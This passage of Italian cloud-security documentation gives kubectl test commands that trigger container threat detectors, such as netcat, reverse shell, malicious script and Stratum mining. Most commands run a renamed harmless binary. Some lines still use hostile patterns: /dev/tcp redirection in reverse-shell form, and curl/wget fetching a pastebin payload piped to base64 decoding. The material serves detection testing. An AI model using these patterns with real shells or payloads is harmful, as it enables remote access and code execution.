      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      

Questa procedura di test dovrebbe creare un risultato Execution: Netcat Remote Code Execution In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per il rilevamento delle minacce nei contenitori. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: è stata rilevata una possibile esecuzione di comandi remoti

Per attivare un rilevamento Execution: Possible Remote Command Execution Detected (Anteprima), è necessario osservare l'esecuzione di un comando o di un file binario comunemente associato all'esecuzione di comandi remoti all'interno di un contenitore. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in touch (o in un altro strumento come find). Questo file binario rinominato viene poi eseguito con gli argomenti appropriati per l'esecuzione di comandi da remoto. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di stabilire un accesso remoto non autorizzato al o dal contenitore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario come touch con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • Nodo ARM:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
      

Questa procedura di test crea un risultato Execution: Possible Remote Command Execution Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione del programma con ambiente proxy HTTP non consentito

Per attivare un rilevamento Execution: Program Run with Disallowed HTTP Proxy Env, esegui un programma all'interno di un contenitore, impostando una variabile di ambiente proxy HTTP su un valore non consentito. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. L'utilità /bin/ls viene copiata e rinominata in /tmp/curl. Questo file binario rinominato viene poi eseguito con un valore non consentito impostato per una variabile di ambiente proxy HTTP (ad esempio HTTP_PROXY, http_proxy). La combinazione dell'esecuzione del programma e della presenza di un ambiente proxy HTTP non consentito viene segnalata come sospetta, in quanto suggerisce un tentativo di comunicazione tramite un proxy non autorizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un programma binario compatibile con la rete, ad esempio curl, con una variabile di ambiente proxy HTTP non consentita:

    • Nodo x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • Nodo ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Questa procedura di test dovrebbe creare un risultato Execution: Program Run with Disallowed HTTP Proxy Env che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esfiltrazione: avvia gli strumenti di copia dei file remoti nel contenitore

Per attivare un Exfiltration: Launch Remote File Copy Tools In Container risultato, esegui uno strumento di copia di file remoto comune all'interno di un contenitore. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. L'utilità /bin/ls viene copiata e rinominata in /tmp/rsync, quindi viene eseguita per recuperare un file da una fonte remota potenzialmente dannosa. L'esecuzione di uno strumento di questo tipo con argomenti di recupero file remoto all'interno di un contenitore viene segnalata come sospetta, in quanto potrebbe indicare un tentativo di scaricare ed eseguire codice dannoso o esfiltrare dati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui uno strumento di copia dei file remoto, come rsync:

    • Nodo x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • Nodo ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Questa procedura di test dovrebbe creare un risultato Exfiltration: Launch Remote File Copy Tools In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per il rilevamento delle minacce nei contenitori. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: rileva Cmdline dannose

Per attivare un rilevamento Impact: Detect Malicious Cmdlines (Anteprima), è necessario osservare l'esecuzione di una riga di comando con pattern o argomenti dannosi noti all'interno di un contenitore. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Deve essere copiato il file binario /bin/ls e la copia deve essere rinominata ipfs. Viene poi eseguito il programma binario rinominato. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di eseguire codice dannoso o bypassare i controlli di sicurezza.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario come ipfs:

    • Nodo x86:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • Nodo ARM:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Questa procedura di test crea un Impact: Detect Malicious Cmdlines risultato che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione degli avvisi in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: rimozione collettiva dei dati dal disco

Per attivare un rilevamento Impact: Remove Bulk Data From Disk, inserisci un file binario nel contenitore in grado di eliminare o sovrascrivere i dati ed eseguilo. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Consiste nel copiare il file binario /bin/ls e rinominarlo in shred (o un'utilità simile progettata per l'eliminazione sicura dei file). Il file binario rinominato viene quindi eseguito. Questa azione viene segnalata come sospetta perché imita il comportamento spesso osservato quando si tenta di rimuovere grandi quantità di dati da un disco in un ambiente containerizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci un file binario di eliminazione di dati o file come shred ed eseguilo:

    • Nodo x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • Nodo ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Questa procedura di test dovrebbe creare un Impact: Remove Bulk Data From Disk risultato che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione degli avvisi in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Impatto: attività di mining di criptovalute sospette che utilizzano il protocollo Stratum

Per attivare un rilevamento Impact: Suspicious crypto mining activity using the Stratum Protocol, è necessario eseguire un file binario all'interno di un contenitore con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum. L'esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia/bin/ls e rinomina la copia in un file binario simulato (presumibilmente per simulare un minatore di criptovalute). Questo file binario rinominato viene poi eseguito con argomenti che includono stratum+tcp o indicatori del protocollo Stratum simili. Questa attività viene segnalata come sospetta perché imita i pattern di comunicazione di rete del software di mining di criptovalute in ambienti containerizzati.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Inserisci un file binario di utilità come curl ed eseguilo con argomenti simili a quelli utilizzati dal software di mining di criptovalute che comunica utilizzando il protocollo Stratum:

    • Nodo x86:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • Nodo ARM:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Questa procedura di test dovrebbe creare un risultato Impact: Suspicious crypto mining activity using the Stratum Protocol che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Potresti anche visualizzare un altro risultato per il comando bash eseguito in questo test. Questo comportamento è normale e puoi ignorare il rilevamento aggiuntivo.

Script dannoso eseguito

Per attivare un rilevamento di script dannoso eseguito, puoi eseguire lo script nella procedura riportata di seguito nel contenitore.

La procedura esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia uno script che sembra dannoso e poi lo esegue. Per attivare un rilevamento, un script deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui il seguente script in un nuovo contenitore.

    Questo script shell Bourne in linea ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il codice binario dannoso, pertanto l'esecuzione dello script non causerà attività dannose nel contenitore. Il file binario all'URL a cui si fa riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL comporterà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script in linea attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • Nodo ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Questa procedura di test crea un risultato Script dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

URL dannoso rilevato

Per attivare un rilevamento di URL dannosi, esegui un file binario e fornisci un URL dannoso come argomento.

L'esempio seguente esegue il deployment di un'immagine Ubuntu 24.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui curl e fornisci un URL dannoso come argomento:

    • Nodo x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • Nodo ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

Questa procedura di test attiva un risultato URL dannoso rilevato che puoi visualizzare in Security Command Center e, se hai configurato il logging per Container Threat Detection, in Cloud Logging. La visualizzazione degli indicatori in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell inversa

Per attivare un rilevamento di Reverse Shell, avvia un file binario con il reindirizzamento stdin a una socket connessa TCP. Questo esempio copia /bin/echo in /tmp/sh, quindi avvia /tmp/sh con il reindirizzamento a Google Public DNS 8.8.8.8 sulla porta DNS. Quando esegui questo esempio, non viene stampato nulla. Per evitare qualsiasi attacco di man in the middle (MITM), in questo esempio non viene utilizzato il file binario /bin/sh.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Avvia un file binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    • Nodo x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • Nodo ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Questa procedura di test crea un risultato di Reverse Shell che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell secondario imprevisto

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero di processi che includa un processo shell secondario.

L'esempio seguente crea un albero di processi consul->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. Questo esempio esegue le seguenti operazioni:

  1. Crea una copia del processo sh e la denomina consul.
  2. Copia il processo echo e lo rinomina dash.
  3. Richiama il processo dash copiato nel processo dash copiato.consul

Per attivare un rilevamento Unexpected Child Shell:

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Utilizza il processo simulato consul per richiamare una shell simulata:

    • Nodo x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • Nodo ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se la registrazione è configurata per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare il risultato anche in Cloud Logging.

Passaggi successivi